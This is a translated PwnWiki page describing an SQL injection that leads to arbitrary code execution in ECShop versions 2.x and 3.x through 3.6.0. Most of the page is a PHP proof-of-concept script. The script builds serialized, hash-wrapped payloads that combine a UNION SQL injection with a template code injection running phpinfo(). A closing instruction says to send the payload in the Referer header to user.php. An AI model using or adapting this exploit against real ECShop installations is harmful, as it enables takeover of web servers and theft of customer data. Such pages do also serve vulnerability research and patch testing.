Vulnerabilidad de ejecución de código arbitrario de inyección SQL de ECShop

From PwnWiki
This page is a translated version of the page ECShop SQL注入任意代碼執行漏洞 and the translation is 100% complete.
Other languages:
Chinese • ‎español • ‎中文(繁體)‎

Versión afectada

Ecshop 2.x    
Ecshop 3.x-3.6.0

POC

<?php 
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$test = sprintf("*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -", bin2hex($id), $shell);
$arr = array();
$arr["num"]=$test;
$arr["id"]=$id;

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

?>


Explotar

acceso

http://127.0.0.1/user.php

Agregue el encabezado de la solicitud de referencia, coloque el poc en la solicitud nuevamente, puede ver que phpinfo () se ejecuta